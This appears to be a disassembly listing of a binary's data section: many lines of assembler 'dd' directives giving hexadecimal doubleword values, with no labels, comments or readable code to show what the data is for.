		dd 81035ECEh, 6330AAD6h, 15A162Ah, 9C3A1185h, 37E89F59h
		dd 2E179A7Ch, 0B3C54664h, 8100A3A3h, 7CC30DEEh,	0BD5A037Bh
		dd 89A3FD95h, 0B22724Ch, 0BA401AB4h, 9119BE1h, 0D3FF69F9h
		dd 0EDC8C5Eh, 8359B9F8h, 56A42D21h, 0B59F4005h,	9EB60C51h
		dd 8570F9EBh, 0B207FCE9h, 29CCC970h, 707B5B0Fh,	1601E434h
		dd 0BD092ADEh, 28761D71h
		dd 14786C2h, 6760296Fh,	4AE7A812h, 4433F123h, 786BFDA8h
		dd 0F9E59D30h, 5BB9BD2Bh, 1AC752Fh, 11F1FB18h, 228A6D48h
		dd 23B9674h, 1EDCBD83h,	2D118CD9h, 0E9FB7261h, 0BD55C288h
		dd 0DF11024Ch, 0FF40EBA7h, 0C28205A5h, 0A83A0DF7h, 34E8016Dh
		dd 0F50479FAh, 0E997029Fh, 8B05DBB9h, 642A85BDh, 7AF08937h
		dd 8500876Eh, 4ED34501h, 80900205h, 288DC084h, 59B84E60h
		dd 0AEE513BCh, 4E65F76Ah, 0EC00916Ah, 0DB0591EDh, 4E2C90DDh
		dd 512516C4h, 0ACA992D3h, 877B5A07h, 7591212Dh,	168C2E2Ch
		dd 0F88825C2h, 0CDF66A9Ah, 903B2210h, 0A250F397h, 21D00012h
		dd 86A0161Eh, 54EF0BBEh, 0C0290CBh, 870E33E9h, 53090409h
		dd 337978EDh, 9965E000h, 684AFAB8h, 230F60E8h, 0BC72F6E9h
		dd 82C65400h, 51EFE146h, 0AD1C120Eh, 8078EC29h,	0D6E2CD43h
		dd 0A2640E0Ah, 0A660FAE0h, 7B07D1A4h, 0E6C4B24Eh, 0C5E0D2F6h
		dd 0A72D7D5Fh, 6D478259h, 70E60216h, 77C375Dh, 0A7C8F836h
		dd 71E4728Bh, 72DCD754h, 898EB70Ch, 0A3002477h,	89707C64h
		dd 0D8B606A0h, 49837BDh, 0F5144D2Ch, 256F6FEBh,	8BEDBC0Bh
		dd 1DD1E9F9h, 9C03CD18h, 0A0394045h, 0C6D9043h,	59B51303h
		dd 42F2C929h, 0B555354Bh, 801A9132h, 0D1CA97D2h, 10CE710Dh
		dd 4AFFB70Fh, 860493B2h, 87959ADEh, 0F83934C4h,	0BE5E0088h
		dd 1083A63h, 2E39BA93h,	26D46D3Eh, 9C161334h, 9301C7CCh
		dd 3EEC8158h, 81311A26h, 541EFF8h, 0FE796F30h, 0B8ABFD93h
		dd 0A7E927DDh, 2661371Ah, 0D63639F6h, 0AA0F9A6h, 4500FE77h
		dd 0D86C1DAh, 59B59D29h, 0D6016C2Ch, 16E9190Bh,	446F2EB0h
		dd 0C58BC616h, 608F0BB6h, 11214C02h, 0ACC88000h, 968AB661h
		dd 0B09BF7CBh, 7CD72A1h, 0B509C9BBh, 0D1523B89h, 9D0D216Ah
		dd 1B5F5689h, 5C8AD281h, 335381F0h, 21945B5h, 5672415Eh
		dd 7AF14291h, 379F4F92h, 0FCAA0512h, 0B5CE8037h, 6E9110C9h
		dd 40B7EFA7h, 0CD304FACh, 0D6A0BF04h, 42804E67h, 2D5229C6h
		dd 35A261F3h, 6BFC011Dh, 0E174F4h, 607559F3h, 0C2BEF08Bh
		dd 312793EEh, 0F8A5E661h, 83F8127Bh, 0BC24FDC1h, 647100F9h
		dd 81185C83h, 0A01C6F7h, 4DBE42F3h, 0DADEA650h,	42B44561h
		dd 3DD8FEEAh, 29FA23A2h, 0D18DAAC5h, 0B0B98D93h, 4C40AF96h
		dd 73512E61h, 6B8B3069h, 1B918D9Fh, 32E06A80h, 0CC00D8EFh
		dd 0ABE3BB3h, 0B754FADFh, 116527B8h, 12B5B80h, 10E681C3h
		dd 6D7A49D7h, 13238E2Ch, 6AE896A9h, 0E9EF3B13h,	0C08B8BD1h
		dd 0A9B8DA7Dh, 0F28BCE16h, 0C9FC23D5h, 6ED4B80h, 2E02FC73h
		dd 36129DECh, 5F10427Fh, 2D5A2D89h, 25CD9509h, 0C0976D1Dh
		dd 0DC909B1Ah, 89E74105h, 6DAC618Dh, 14A26943h,	162F6031h
		dd 2D4A8F95h, 603D4F35h, 30C7B338h, 60A8B500h, 8D31B6B1h
		dd 0E7044A0Dh, 0B4045E0Bh, 0EED990E0h, 7AFA207Ah, 48009517h
		dd 5030FCFDh, 139D4F3h,	8326690Ch, 2B5FDC66h, 43B688h
		dd 9FB1BB15h, 81D50D2Eh, 9B4CE3Ch, 765F46DDh, 25B5C1E3h
		dd 0DB900227h, 0AB887053h, 4C6DE000h, 8B7BAEE4h, 93214EB5h
		dd 0A3FFC735h, 0F9E2045Ch, 0BD031F40h, 4842095Eh, 7E1341B5h
		dd 8D01852Ah, 0E23B88F5h, 0A566DE0Eh, 0C9BA6012h, 45E96183h
		dd 0D8D6C009h, 9E551D03h, 0FC9BE230h, 0F6B8F9BDh, 0C5D38A05h
		dd 0B0C29B0Fh, 68B1012h, 11380DD4h, 0BD0920B1h,	7CC925DDh
		dd 20CE161Fh, 36B42B31h, 93892440h, 2CCF1FDAh, 9944C09Ah
		dd 64E988B9h, 87D181BFh, 44212866h, 0AECF0440h,	84095CB7h
		dd 287570D9h, 0C0335850h, 0E8813C2Eh, 2A880064h, 3023EB6Ah
		dd 223F66B1h, 0BE05FECBh, 5C325211h, 0F495F40Fh, 0D1D3527h
		dd 70C46Fh, 0F24038A1h,	0F80AE945h, 0B17FF71h, 0ADF40DBDh
		dd 187A1C1h, 9F1F314h, 688DBD31h, 0B4FA8B87h, 4C7969A5h
		dd 0F8A661A7h, 0C9998214h, 6F278454h, 0B974087h, 48A2870Fh
		dd 7B0A19D4h, 0D91F86Ah, 0A7905027h, 127D8A7Fh,	5F7B1118h
		dd 572A42AEh, 0B0A0A019h, 0D72792A7h, 789CB233h, 6A37B795h
		dd 505EC204h, 3F84CCFCh, 5D7AAB58h, 0B6DA8803h,	0CAE15D46h
		dd 0B58D41A8h, 6ADB24E9h, 838EB7B7h, 214ED707h,	0FBF6E7F8h
		dd 51349F05h, 0CF88B529h, 0AF4C9F5Fh, 8CB061B0h, 29617A9Eh
		dd 53E3D95h, 0DBD3FFB4h, 0EC1CC198h, 203A4A0Bh,	0FDDE733Dh
		dd 0A57FA200h, 92E231A7h, 9F660E44h, 0B8855760h, 2FDC5DBh
		dd 6199491Ah, 1BD81D1h,	1254409Ch, 383E42E9h, 2A414CF0h
		dd 85F25A3Ch, 7AD87C53h, 219116F1h, 65CD318Dh, 557EC81Fh
		dd 51887102h, 7ED13EF1h, 3B021081h, 0A59DB85Fh,	0D026DB07h
		dd 8300D64Dh, 87855A56h, 1633A4DDh, 9D08C1BDh, 0F1E6B78Ch
		dd 5FF05604h, 5F412DC1h, 0ABA29324h, 20603D7Bh,	0A68F8305h
		dd 0BB720F0Ch, 8BD5EE44h, 28CD62EFh, 1A11BBD1h,	0A9ED7150h
		dd 4A6AE9E6h, 57E840h, 0D7E63EACh, 0A1A0A227h, 6EB85EF7h
		dd 69012781h, 1DD3EC71h, 0DFF79C57h, 4DE9CDE8h,	81B45E1Ch
		dd 0FB1280C7h, 0E7C25049h, 6017E466h, 509FAFDEh, 12D6D91Ch
		dd 358D0DBEh, 0E2890B1Bh, 0B525A545h, 0CF5D0744h, 61A25069h
		dd 98B430E1h, 0E489092Dh, 1249497Fh, 0C7005DF8h, 49984A8Ah
		dd 62586916h, 991C207h,	2989D251h, 1610F285h, 628C0F50h
		dd 0F3D6691Bh, 0C21CEB9h, 5EEA45E9h, 3B09F403h,	81986EE8h
		dd 0B05045E2h, 776F3Eh,	7FF73ADDh, 51FF1E0h, 15850111h
		dd 0E773A72Bh, 0EB740A30h, 0C4E54C45h, 70D4174h, 2119482h
		dd 70F871E4h, 4D2B7CB2h, 204BD6D1h, 6EA2BFB6h, 8B2DA770h
		dd 0E137C3h, 91851442h,	8B27E4EDh, 0F6C80AF0h, 0C50C1109h
		dd 0ED7B27A9h, 1CF9B058h, 425793FAh, 5F5EF18Bh,	0BF014254h
		dd 1C40D6FCh, 2045572Ah, 9C7597C0h, 7EA9AD04h, 57A844B1h
		dd 4D87884Ah, 7C544200h, 88A4EFCEh, 0C21002EAh,	0F93DC087h
		dd 93956354h, 3A3BCFCh,	20698E36h, 1BA8CC1h, 78D4125Dh
		dd 0BDB5E27Bh, 1491BC9Fh, 5456C48Bh, 9E10E808h,	884C0E5h
		dd 5E7F353Bh, 0D69E8300h, 93476ADEh, 251C9AD8h,	41B3779Bh
		dd 0D1F39227h, 0D6E0AE21h, 31840A04h, 0CD81AD21h, 142C19BBh
		dd 527F809Dh, 81FE9B38h, 50D65A24h, 7A6B725h, 0E74356BAh
		dd 0AA3451EFh, 1759692Eh, 0F691024Ah, 8C2A1D75h, 14E18FD3h
		dd 19A8A3EDh, 5F02028Ch, 84BD3BD0h, 0E322EB56h,	40F4CF9Dh
		dd 4A41C9AAh, 0A3EA8D00h, 0B0605597h, 886158E0h, 0A6118516h
		dd 62A64B87h, 0EDA308B0h, 1158E77h, 248FB595h, 18AFD05Eh
		dd 208D8995h, 0DCA00AE9h, 6572F681h, 0AD46C128h, 2C0BAD4Eh
		dd 7033F358h, 1B097534h, 70B64C17h, 6BDC27B9h, 65E0B413h
		dd 4A00B34Dh, 0E3B58D57h, 2A29061h, 0A97C2514h,	0A4D25E6Fh
		dd 128B5144h, 0ED07B9F2h, 98ECED66h, 0C18325C6h, 4D786A5Bh
		dd 4BF55A63h, 5E560389h, 1B467Ch, 3883A079h, 2DB5D142h
		dd 0AA09F51Fh, 928269B7h, 0C02DD9C9h, 822A81A7h, 0B3986F60h
		dd 0A244BAB4h, 0C456604Bh, 33481710h, 6061DF16h, 41BD31CBh
		dd 545B02FFh, 3AC13D74h, 0EC485C20h, 0E7DB0037h, 85BF937Ch
		dd 985C9C6Ah, 0A6240F25h, 2BC082C6h, 0DC6F7CC3h, 0C59C4D01h
		dd 8161C232h, 49C4143Dh, 12B11704h, 0E9B1CBA7h,	34E0162Bh
		dd 0B611E9F0h, 1C60F16Ah, 7EA58442h, 89C08154h,	3E33E995h
		dd 85C7FB31h, 119C412Bh, 30186B65h, 431AD7CBh, 5E38168Eh
		dd 0BE3F40EFh, 0BD006166h
		dd 3A53F022h, 4121B529h, 289A2A08h, 91C2E22h, 79E7A19Dh
		dd 5CB96881h, 0B7091646h, 1C026BE4h, 61C5AAC7h,	40A1ED2Dh
		dd 8DCB9769h, 0CE9A6109h, 9FEFD95Dh, 0DCE91509h, 0DAAD745Eh
		dd 0C100DC4Fh, 0D51E7EECh, 4F639890h, 0A8BF1535h, 0ED12E3BCh
		dd 0EAF6EECEh, 29BAF0E7h, 6D066A3Ch, 7456B53Eh,	24CD2594h
		dd 10D57A22h, 30BA5704h, 259A8E05h, 33AF6201h, 0B773DDEh
		dd 1FA99C8h, 0E907DF31h, 0CE5EFE8Bh, 0D5671377h, 14B8AC8h
		dd 0A7D64958h, 7BCAD028h, 6427A36Eh, 4E0172C4h,	2F018F74h
		dd 6979FA8Bh, 874E0CB8h, 0C780109Bh, 7F0F6997h,	10457A90h
		dd 0FCFA206Bh, 77003F93h, 63F9BB9Dh, 0A9B4EC57h, 0E90102B5h
		dd 0CD113EEDh, 0B30AC41h, 8AC60CC0h, 1E25AB02h,	0EDF8100h
		dd 24AB2FCAh, 0BF60FF40h, 0D33A8804h, 0CEB1B925h, 709D5BCAh
		dd 51002C1Ch, 0E181674Dh, 99888DD0h, 0AC0B81BBh, 0D0536221h
		dd 0D2C3FA9h, 7E00F05Ch, 0C1230ADFh, 0C8FC4BADh, 32160843h
		dd 0C300EB47h, 0DD1C1EA7h, 0E18D2621h, 820F89A0h, 0B737E0FAh
		dd 10F41CC8h, 5C14915Dh, 5CA681ADh, 3CFC106Dh, 0D5F70090h
		dd 7C113451h, 293C1E15h, 2F0A5E9Dh, 6DA5348Bh, 754EC17Eh
		dd 2A91718Bh, 0E1831302h, 0B4074301h, 2E14A153h, 4C5EC851h
		dd 17BD1412h, 0D281B01Bh, 29310598h, 0BE606178h, 1B2F3D1Ah
		dd 94444AE0h, 0E88C161Dh, 8C1DFC81h, 19D41300h,	0FE0BD3Fh
		dd 0D9311D8Ch, 686DDF33h, 13AAB531h, 80C6032Bh,	0D64123F7h
		dd 0B8977D3Dh, 0F1920131h, 0DEE6C739h, 0F15C61FAh, 0BF6B852Fh
		dd 0D0CC5698h, 0A31B0061h, 0F03309D6h, 8E3B637Ah, 4685006Ch
		dd 893821E2h, 0D85D4DBDh, 93AF5829h, 0EDE6E924h, 390ECC8h
		dd 0BB66B007h, 0FA420C38h, 0B8BD5D89h, 4F5900BDh, 0A354C787h
		dd 0F2DB7D9h, 203DEC89h, 0B482555h, 492920F1h, 1D202C61h
		dd 7C8A6058h, 8543825Dh, 0F2E49D2Bh, 5A83A661h,	0B076A72Ah
		dd 25298FDh, 7DBB918Bh,	8D039E6Bh, 60692D0Dh, 27002E37h
		dd 0B0FCCB68h, 0A75199BAh, 64C3E0CDh, 3D55A04Ah, 5CF048FCh
		dd 0F96D565Ah, 0B52B8C3h, 134E09Ch, 1A0C9E84h, 0A4695456h
		dd 0A1D91E2Ah, 0B4293720h, 3497BCC4h, 1409F07Eh, 0A0D950D8h
		dd 0B2F40200h, 58B9C9h,	7F3ED737h, 69FEB321h, 0C25FB02Ch
		dd 31135122h, 3729D5BDh, 91499DEEh, 0B4DE8018h,	90BA1337h
		dd 5F2D60D8h, 2CE4A6BFh, 125A194Ch, 0C652F0Dh, 74A817FDh
		dd 13831A48h, 7F700211h, 1071F681h, 5D10C586h, 0F040566Bh
		dd 5F793D40h, 1CF9209Ch, 0EE18825Eh, 71604760h,	0DAEF9F28h
		dd 9B945640h, 0D0A0639Ah, 4F2AF58Dh, 95EC5D8Bh,	0D301A92Bh
		dd 4D49259Ah, 0DB97E2EBh, 0C0F74740h, 0BB11CD05h, 675D8BFDh
		dd 2236D195h, 51BFEC03h, 0B22DDBD3h, 6F01A0B8h,	9C3BC1E9h
		dd 0C7D0F480h, 0E9159685h, 0C9804137h, 0BF15DF0Fh, 0C2803917h
		dd 61C88B89h, 0B9C0BBCDh, 0EEBE4ADh, 0E99D6107h, 0C02B9E17h
		dd 762D75FEh, 0BB571CC8h, 0DB3B520Bh, 0B958984Eh, 0A7390991h
		dd 0F18041D5h, 0C18BC425h, 0B02A6056h, 5D0BFF8h, 0A76ABEDBh
		dd 0E8EDEDCCh, 490A008Dh, 0B5179A90h, 0F555BD83h, 975C0EEh
		dd 3AD12C4h, 50197441h,	0B8708B53h, 898EC038h, 0B713E285h
		dd 0AA9E6721h, 0E7052A17h, 2267585Bh, 0EE2021E8h, 0EDC9A748h
		dd 0C767C0AFh, 0E42EA1F4h, 991124ADh, 259D0109h, 76C8FEADh
		dd 1F2AE118h, 629D2360h, 49BD4B2Fh, 0E8181E50h,	95DB0905h
		dd 96174185h, 0F45345E6h, 5DB831E9h, 0F1B70F18h, 88346D6Ch
		dd 3DB508CFh, 3FB00EDh,	33920B34h, 885CD304h, 0CBB4820Fh
		dd 6F800CB9h, 0FF7A737Fh, 2F59C4C4h, 13157AAEh,	9B12C822h
		dd 6FE851D0h, 0F4B1BE08h, 526C7F1Eh, 0BF0A2993h, 0D45B502h
		dd 0BD1FF75Fh, 396D2A59h, 970AEB15h, 0A23B171Eh, 0A191EC05h
		dd 0E912224Dh, 9A87DED4h, 8C1758C4h, 0DAC3D3D0h, 0B2F650DFh
		dd 2D192C85h, 0E1EF65Bh, 0FC820912h, 0DF07E6E8h, 3F24BDh
		dd 586D344Dh, 5AD6278Bh, 0F2C2C885h, 0BA3BE00h,	6CCAC8B3h
		dd 60AF2EFh, 2B5B7A78h,	0F14BC8A7h, 84ED6C23h, 959CE806h
		dd 6AB95301h, 5E11C6C7h, 33ED308Bh, 0F48674h, 0A8587421h
		dd 0C1B9D08Dh, 0D781EB03h, 0E030F7A3h, 9F0760E8h, 0AB420E4Fh
		dd 165F7EB9h, 11960534h, 0B5FA2108h, 0A0DDA502h, 0E51CC6F3h
		dd 2B7600CEh, 60DBE2F0h, 9D1089AAh, 591D17F1h, 0B29374E8h
		dd 42B3007Dh, 0B4D4404Ah, 7D1618E5h, 23E16298h,	0FD8F793h
		dd 0A7BCC050h, 0DBE85EFCh, 13790664h, 0DAB27740h, 3B076BC8h
		dd 2D33948Eh, 0D201E831h, 32EB93ECh, 218AC26Ah,	18B73758h
		dd 0F3B2E85Eh, 84B0DE2Eh, 988139A7h, 0AA492A99h, 7A2F23E5h
		dd 3733003Ch, 51640F48h, 1D913115h, 122B35B0h, 65162C5Ah
		dd 0B485E697h, 198D9F8Dh, 5432F25h, 236FFBh, 3E73082Ch
		dd 0B56F263h, 50DAD2CBh, 76B37C76h, 0B36A8609h,	40B378ACh
		dd 870BE70Bh, 4000DC33h, 0D57CA95h, 31228400h, 0A43C2397h
		dd 24C22E87h, 5FFA02E5h, 0D06AD6E8h, 1DCBCF4h, 0C53EFD42h
		dd 7DE960CCh, 0B8340775h, 20BFEC4Fh, 6159518Ch,	0D2939D8Bh
		dd 2CBDF210h, 151F24Eh,	0D6305267h, 75EE6448h, 3341F910h
		dd 5AE9B525h, 4A7CFC42h, 80959E05h, 0EC99B16Dh,	0C6494A76h
		dd 2AEC9032h, 7083CB83h, 0A2BE0F5Fh, 0E8879253h, 0C756BB42h
		dd 6EDB00F4h, 93122829h, 0D262B1F5h, 733A974h, 4E54AB60h
		dd 72C231C0h, 0B0612F78h, 2BCBFB61h, 5AA41A10h,	0DA3FE1B5h
		dd 0CF1C885Dh, 27192CA0h, 7C0397C4h, 8D0F41A3h,	0F5250901h
		dd 0DD82C38Bh, 3F5F0E09h, 0DB06807Dh, 710FFBC4h, 0D7C4F95Bh
		dd 3EA56EBAh, 66E381F6h, 11E948BCh, 59CBB310h, 86BD9D00h
		dd 2BB5C5F1h, 305B0269h, 5F254979h, 0EF001B56h,	52C30483h
		dd 53602550h, 79F9ED90h, 22BB1000h, 1FB85BCEh, 7CF7127Ah
		dd 4891F861h, 91D16DEh,	0DAD5FFADh, 0B19060BCh,	1D987E13h
		dd 940034E2h, 6971E4B5h, 0D1F85F11h, 0BB519217h, 0A87AB0E8h
		dd 3C2FB9FCh, 5B2F6460h, 97C0B04Dh, 26C7F9h, 3506001h
		dd 958DA63Bh, 7627D920h, 0ED656E89h, 387B1AC9h,	13CA70h
		dd 9A9349DFh, 81606D28h, 3AF1CB0Eh, 0CE8A45EAh,	442AE04h
		dd 0B5B88DEDh, 0BF2C4202h, 50A8F3E4h, 0B5286265h, 0BE789D85h
		dd 1AD8D3h, 0DC10F40Ch,	6AB4E1B5h, 173634DCh, 0E2058C0Fh
		dd 0FBEF17B2h, 0F41A770Bh, 6648DCE6h, 0EC78C063h, 9DF547h
		dd 9B7EB3A1h, 146F55F4h, 5357500Ah, 0EDA79873h,	0BF49C02Fh
		dd 1D28A23Bh, 0D929F167h, 2F399107h, 40126F27h,	6111B302h
		dd 0EFB4760Bh, 5BCF526Ah, 7816E1Ah, 9096E06Eh, 0D20BF4F0h
		dd 0FA4EDA1Ah, 39E430CDh, 59BD65C0h, 50748213h,	137F2B14h
		dd 0CBF919D1h, 0CD12EEE8h, 0D1C755Fh, 9BFCD722h, 805D80DFh
		dd 0B06EB1C8h, 0F9CB68D3h, 2C00DECCh, 4F49135Ch, 0C4307AF7h
		dd 0FF059DECh, 8D00AC7Ah, 86C9E9A7h, 0BD699245h, 702673E8h
		dd 1900BEA8h, 8C968471h, 35BF668Eh, 0B9F1B6A4h,	0CADB8DBh
		dd 0DDBD3151h, 0F2C45EE5h, 25A72C69h, 0F00CEAA0h, 6BD1D1Dh
		dd 0FCF31FC6h, 0DCF99EF6h, 7A00E978h, 14659C2h,	831DD1B5h
		dd 36EF75Bh, 0FC85B02h,	922068Fh, 0F6A8FFBDh, 19C10980h
		dd 66D02B73h, 32F5345Ah, 0B874ADF4h, 135E388Fh,	8BA67686h
		dd 30B6EDCAh, 0C21601DCh, 0FC7A05Dh, 4D1BB880h,	0C80C2C61h
		dd 20E700F6h, 0AC1AFCDFh
		dd 9897890Fh, 8B1119DBh, 31F284FCh, 0F29995B4h,	1053E0BAh
		dd 73ADAC50h, 456F0079h, 0B8641871h, 155B8D03h,	8ABB5FF4h
		dd 66B78DDDh, 0A8B8042Dh, 8D8B38C1h, 9F7B115Dh,	98C19C16h
		dd 22C1BD01h, 0C8B2CF7Ah, 5C77C116h, 9DAA708Ch,	0A77A335Eh
		dd 40EC2300h, 6617AAA6h, 0D392B91Eh, 0DE08E4h, 0DF6F6694h
		dd 0C58A3DB5h, 0C0CCCD95h, 4D950131h, 0E5E2284Bh, 8BA58404h
		dd 0C09BDBC0h, 0BE944B4Fh, 290A006Dh, 0FBF681ACh, 665B0188h
		dd 0A110B97Ah, 0AB058402h, 2D20426Ah, 96B994A6h, 7901D42Dh
		dd 88C04C09h, 0B876870Fh, 2282E90Fh, 4948E47Ch,	3F074AE4h
		dd 0A93E792Fh, 0F1068BA0h, 24C30745h, 0CD74AF2Dh, 2A537AFAh
		dd 0E100827Eh, 84B9EDE4h, 0B700431Eh, 2FBB57A1h, 0B70A863h
		dd 0DF8B505Bh, 6EB40270h, 0E52107DCh, 0DA999D89h, 0C7C22D55h
		dd 4A3C35F6h, 58F09FA6h, 0FD144A91h, 11DE2EF6h,	17761011h
		dd 0ED1944B4h, 5CE9BCEFh, 0DE17FD79h, 9765BC23h, 202B5EA1h
		dd 0FE906DD5h, 0B463A800h, 3D370EFAh, 54C50216h, 8E257A9h
		dd 0EAA005E0h, 60CAA4A3h, 8B64985Fh, 9F6150C1h,	5B6D9F04h
		dd 86B4DFE0h, 0CC151C5Ah, 0AF9994FEh, 0B715E18Eh, 0EF19D985h
		dd 0D7C8B975h, 88E28Bh,	0BE41B53Bh, 0CDC6D70h, 0EC692201h
		dd 8D8A7766h, 0B190F7C6h, 0D12DFFFAh, 8340457h,	0B0025F09h
		dd 0E10B2DB5h, 0DE6E5BB8h, 8696C7CCh, 199A0AC0h, 3DC6C555h
		dd 3ED9A534h, 26AA044h,	0FD79C8Ch, 44E66D82h, 0B8F22580h
		dd 6F0B05EDh, 49490484h, 547EDE57h, 8A406F23h, 221D5E4Dh
		dd 0E901077Ch, 2C7B0E8Eh, 4440BE72h, 0DFB62460h, 92E002E6h
		dd 866D6121h, 0E6BC84E0h, 0B6F609F5h, 6101440Ah, 6B1888F9h
		dd 61C0C5DBh, 0D0F86E08h, 90F5BA19h, 0E2F6FBEAh, 3E14D709h
		dd 0EB093E00h, 75EAA7F8h, 0DCA80171h, 2B255D79h, 5C9B3F90h
		dd 50D39787h, 60CC37C7h, 32D8B507h, 3BB0DF81h, 17FC38BDh
		dd 0F835FF64h, 8C14FC41h, 246C959h, 89648467h, 95C5925h
		dd 9F409185h, 0F90BF781h, 0F01C2BD3h, 0AD679768h, 0A76017C4h
		dd 730102A3h, 0BB66FF6Ah, 5BCC77F1h, 0F44F725Dh, 691F95B5h
		dd 28801C91h, 37F18811h, 8C0C4604h, 44C1513Ch, 277F1005h
		dd 14088420h, 10120E3h,	0AD0FEF81h, 3FFC1213h, 0A84FE99h
		dd 9571E4DBh, 34EAAD05h, 3AF87BF3h, 63E8D680h, 0F01C274h
		dd 9D0BC8B6h, 0D4691D19h, 8B0FC8Ah, 66240461h, 0C995093Ch
		dd 616B7610h, 0D0A85BDh, 0F159216Eh, 0E0E5DDDBh, 580CA120h
		dd 32C82B4Fh, 550D65B9h, 28A2D1h, 0CEC327AEh, 276D0E4h
		dd 7E233955h, 7CD1DD8Bh, 0F1850103h, 0B43F7622h, 2251AF02h
		dd 0D18D8984h, 20F680C9h, 0CFB8B469h, 86AC9A0Eh, 469DC002h
		dd 0FB39EC4Ah, 0A307FC30h, 0B40A409Bh, 6B6502C3h, 0D03B5916h
		dd 5211A484h, 28815305h, 0AE8165AEh, 0D3349B09h, 98CA6A1h
		dd 897933F9h, 0AF298488h, 4BC0A610h, 95EA4700h,	0A6F5162Dh
		dd 0A5832835h, 8AFE0B24h, 7C4489FAh, 85B5090Dh,	27C28903h
		dd 0D834B18Dh, 0BD229F18h, 856A95F3h, 2DB09366h, 0F6D10FDh
		dd 49601CE4h, 0DC018C2Ch, 4D1FFD3Dh, 73D8BF55h,	290E0CBAh
		dd 0B9B5AD8Dh, 0DB07AA27h, 0CB16D090h, 0F9841200h, 640941A6h
		dd 0F5C8A1DBh, 7898CBA7h, 0FA14F8BBh, 25BC0C3Ch, 6764FCh
		dd 0DB3D1A8Fh, 32353495h, 5D2D5202h, 0D6E8FCB1h, 881D8015h
		dd 56A7246Dh, 0C9B3600h, 0EE39D653h, 0E9C60D8Dh, 2A7AE1FAh
		dd 2B14C6A2h, 4179F7C0h, 3AD2E11Ah, 8A00106Eh, 4655B5E7h
		dd 3E01F3B2h, 33ADF8E3h, 4C80D1C2h, 4E983D0h, 6D9DF475h
		dd 58A0CF7Ch, 0B874C138h, 35C80F62h, 68000B22h,	880D7BB5h
		dd 417A2BE1h, 8BA4B93Fh, 0AE27132Ch, 5E17157Ah,	7E57B0D4h
		dd 9CCEAB17h, 0B45044B3h, 9C509ACDh, 8026DCC2h,	0D501F0F8h
		dd 0C28B50F1h, 6F0318C8h, 2A1D08C1h, 5819CAB9h,	0DC09D633h
		dd 743EE380h, 8B07DC4Dh, 69A1B392h, 0E25EC722h,	803251BBh
		dd 1538AEBh, 69BF49BDh,	286B8682h, 142CC4E6h, 5F011717h
		dd 0C6BE9F01h, 0A9E9E0EAh, 4558218h, 9D209025h,	0B8810D79h
		dd 16A2E266h, 9FE9133h,	8DEFAE82h, 0AAE88B6Bh, 0A8791BF7h
		dd 4F4F9EF4h, 0DA042B7h, 92762707h, 0A8B6F195h,	21255FC7h
		dd 10A8113h, 6E3BE1FFh,	0C8A10BB6h, 0D9B00598h,	11159D04h
		dd 2A051C31h, 4700717Ah, 744FB07Fh, 0A829019Eh,	0C13C318Ch
		dd 0DE442AD2h, 85EAD850h, 2F082641h, 4A1A9003h,	0B0FAA7A1h
		dd 0AD9E698h, 699D011Ch, 0C6E894BBh, 90AC6C80h,	2A5C9947h
		dd 5BD80B55h, 2E179860h, 3BC701B4h, 5EB7F26Ah, 0D7127B4Bh
		dd 6D053F6Fh, 0FA950975h, 0E1805345h, 8CF0D4B6h, 0BFA0C90Ah
		dd 0CFB501ADh, 28F14032h, 402C860Ah, 0EF604630h, 5335B7h
		dd 32F05B29h, 0E2441EDFh, 9D4E6FB8h, 0BA6FC985h, 908B7938h
		dd 0CA718D0Fh, 46F70Fh,	85335C3Dh, 98195EB5h, 9010F70h
		dd 9237AD0Ah, 0E22F9087h, 90FD9771h, 0E70382A8h, 0DB99C63Dh
		dd 0D1CD80F1h, 0E139B031h, 0CAB612Eh, 0A424C8FEh, 345AEF0Ch
		dd 0B06AC580h, 6B85174Bh, 55C095Fh, 0B727C5D9h,	0C671276h
		dd 0B7492185h, 7368FC03h, 10C62218h, 1F81FAF2h,	3996EB8Ch
		dd 0F9B839A9h, 8DE8400h, 0B3C1E445h, 177A9890h,	53827CBh
		dd 0A90DADBAh, 0EAA5ECF8h, 858904BCh, 0BE18BF99h, 0DBC0729Bh
		dd 0E922EB0Bh, 0FC024725h, 0B01F417h, 532CB680h, 0BE28E676h
		dd 0C0F9C09Fh, 890D1A3Fh, 8A07EA1Ch, 73E40B7Ch,	6A33F65Ah
		dd 0CD911A7Bh, 3B87FDB7h, 1804C7A4h, 2D647BBAh,	0D6EA1070h
		dd 95B5358Bh, 311C0A97h, 0C458957h, 3F4427Eh, 4B60021Eh
		dd 5A101627h, 89352D7Dh, 9524FE04h, 9A4B078Ah, 649F8245h
		dd 77E05DE1h, 45B4689h,	0DA90679Bh, 0E45EAC4Ch,	99EC2BBBh
		dd 6096B7C0h, 2C2C1BB8h, 11C54597h, 7FFC4A02h, 0BF052748h
		dd 0F6964BE3h, 0F58E00Ah, 82DF5EB7h, 0DEDE3D18h, 0FF3B1891h
		dd 0E88620C8h, 3F63D04h, 8EF01F4Eh, 8EB28B0Ah, 0E684185Dh
		dd 0BB50012Ch, 7310281Ah, 7581BF8Bh, 32E19CB0h,	50196085h
		dd 3A2EB352h, 5383310Fh, 585A5F5Bh, 9E05608Bh, 9785C981h
		dd 23519606h, 8BBF07A1h, 640CD483h, 7EDC8D8Dh, 527246Eh
		dd 3384AAD9h, 87A171BDh, 0D83ADBFEh, 280E3625h,	45F9E599h
		dd 0ABD94E19h, 5B5DC120h, 13EDA207h, 682920C6h,	3C6A3Ah
		dd 9D430B93h, 0AC9FDEFh, 0E19BD2Bh, 2474A19Ch, 0CE3100A1h
		dd 85C77893h, 5CAE62B9h, 0B291D42h, 4BB27208h, 272FD226h
		dd 0BDC87ECh, 56EEE912h, 0B8AEADB4h, 24FF73B9h,	0F25FBA6h
		dd 30637CCCh, 4483110Ch, 0E8C10198h, 0ED4107Ah,	124C3F8Ah
		dd 0E4D05803h, 0DD36EBE7h, 6443E036h, 1B63E19Eh, 28293450h
		dd 58180C21h, 57D00113h, 2693901Bh, 4D08BDC0h, 0B99D8934h
		dd 0B6D16BE2h, 0D8012E00h, 0F7E65Eh, 6E8CF65Bh,	0EEC6F854h
		dd 388D1C25h, 0E9B78522h, 4371C348h, 3A4C41Dh, 3117AEAh
		dd 6DFC88B6h, 996610B0h, 5FE5123h, 0AA6EBB33h, 0E5712801h
		dd 20D4CF80h, 1040E168h, 1288250Fh, 72E1EA7Eh, 8DC47D2Dh
		dd 644B9C53h, 3F4AD55Fh, 1B23EDh, 0BDD3A2C9h, 0F02CF3ACh
		dd 1060A6BAh, 7D4BBE2h,	0DD58AF41h, 0B9EFF79Fh,	0C72D1B02h
